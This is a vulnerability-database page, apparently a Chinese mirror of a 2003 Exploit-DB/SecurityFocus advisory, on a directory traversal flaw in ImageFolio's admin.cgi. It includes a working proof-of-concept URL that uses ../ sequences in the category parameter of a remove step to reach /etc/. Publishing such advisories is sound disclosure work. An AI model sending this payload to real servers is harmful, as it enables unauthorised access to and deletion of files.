ImageFolio 2.2x/3.0/3.1 – ‘Admin.cgi’ Directory Traversal

漏洞ID	1053933	漏洞类型
发布时间	2003-06-05	更新时间	2003-06-05
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	CGI	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/22743

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/7828/info

ImageFolio 'admin.cgi' has been reported prone to a directory traversal vulnerability.

By supplying directory traversal sequences, as a URI parameter, to the 'admin.cgi' script an attacker may break out of the web root directory.

Successful exploitation may expose sensitive information to remote attackers. This information could be used to aid in further attacks against the affected system. 

http://www.samplesite.com/cgi-bin/imagefolio/admin/admin.cgi?cgi=remove.
pl&uid=111.111.111.111&rmstep=2&category=../../../../../../../../../../.
./etc/

相关推荐: Apache Non-Existent Log Directory Denial Of Service Vulnerability

Apache Non-Existent Log Directory Denial Of Service Vulnerability 漏洞ID 1102610 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 …